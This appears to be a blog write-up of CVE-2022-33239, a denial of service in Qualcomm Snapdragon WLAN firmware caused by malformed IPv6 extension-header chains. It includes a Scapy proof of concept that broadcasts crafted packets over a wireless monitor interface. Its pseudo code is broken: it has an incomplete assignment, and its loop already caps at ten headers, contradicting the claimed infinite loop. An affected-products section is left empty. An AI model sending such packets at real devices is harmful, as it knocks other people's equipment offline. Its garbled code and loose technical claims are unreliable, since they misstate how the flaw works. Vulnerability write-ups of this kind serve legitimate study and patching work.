In 2022, a vulnerability surfaced in Qualcomm's Snapdragon-powered platforms affecting WLAN firmware. Registered as CVE-2022-33239, it enables attackers to trigger a Denial of Service (DoS) condition through a parsing flaw in IPv6 extension headers. Unlike headline-grabbing buffer overflows, this issue involves an infinite loop triggered by unreachable exit conditions—simple, silent, and devastating in the right context.

This post explores how CVE-2022-33239 works, the root cause, how it can be exploited, and provides code snippets (conceptual PoC). References to original advisories and Qualcomm’s documentation are included for deeper insight.

Snapdragon Wired Infrastructure and Networking

This means everything from your smartphone to industrial sensors could be impacted if using affected firmware.

The Root Cause: Infinite Loop on IPv6 Header

The bug arises from how the WLAN firmware processes IPv6 packets with extension headers. Normally, the firmware loops through these headers to parse each one, searching for a "next header" value that signals the end. The code *assumes* this will always terminate.

If a crafted IPv6 packet has a chain of extension headers in a specific (unexpected, possibly malformed) sequence, the loop may never meet its exit condition, causing the device to hang or become unresponsive—a classic Denial of Service.

Simplified Firmware Loop (Pseudo Code)

Below is a conceptual simplified snippet resembling how the firmware could be written (not actual Qualcomm code):

uint8_t next_header = ipv6_header->next_header;
int count = ;

// Loop intended to parse up to 10 extension headers
while (is_extension_header(next_header) && count < 10) {
    extension_header = get_next_ext_header(packet, next_header);
    if (extension_header == NULL) {
        break; // exit on malformed header
    }
    next_header = extension_header->next_header;
    count++;
}

// If is_extension_header() never returns false, or next_header loops
// endlessly, the loop may not terminate. If count cap is missing or high, DOS!

In the vulnerable code, the bail-out/maximum-count checks are either missing or not tight enough, allowing packet-level attackers to cause an infinite loop.

Real-World Impact

- Active Attacks: On affected devices, a wireless attacker in range can transmit specially crafted IPv6 packets, causing the target to halt, hang, or drop connections.
- Service Disruption: Any service using the WLAN stack (from user phones to IoT edge devices) could be blocked without needing authentication.

Note: This is a *transient* DoS; rebooting or resetting firmware clears the hang. But repeated attacks can keep devices unusable.

Exploitation PoC (Simplified)

Here’s a Python Scapy PoC for crafting an IPv6 packet with a malicious chain of extension headers (for testing in a legal lab environment only):

from scapy.all import *

# IPv6 possible extension header type (example: 60 is Routing)
# We'll loop it multiple times
IPV6_EXT_HDR_TYPE = 60

packet = IPv6() / IPv6ExtHdrRouting() / IPv6ExtHdrRouting() / IPv6ExtHdrRouting() / Raw(b'A'*20)

# In practice, you’d craft more extension headers and mismatched next_header values
# to ensure the WLAN parser keeps looping

sendp(RadioTap()/Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2="02:00:00:00:00:00", addr3="02:00:00:00:00:00")/LLC()/SNAP()/packet, iface="wlanmon", count=3)

*Do not test this outside isolated testbeds. Disrupting real devices without authorization is illegal.*

References & Official Advisories

- Qualcomm Product Security Bulletin (June 2022)
- NVD CVE Entry: CVE-2022-33239
- Scapy Documentation

Conclusion

CVE-2022-33239 is a textbook example where *assumed* network behavior clashes with *real* world malice. When parsing is not fail-safe, even something as simple as a badly constructed (or intentionally malformed) packet can freeze devices at scale.

If you’re building or testing embedded/wireless solutions—force your code to exit on the worst-case packet, every time.

Stay sharp, stay patched!

*This writeup is exclusive. Always perform vulnerability testing in authorized environments and respect the law.*

Timeline

Published on: 11/15/2022 10:15:00 UTC
Last modified on: 11/18/2022 05:04:00 UTC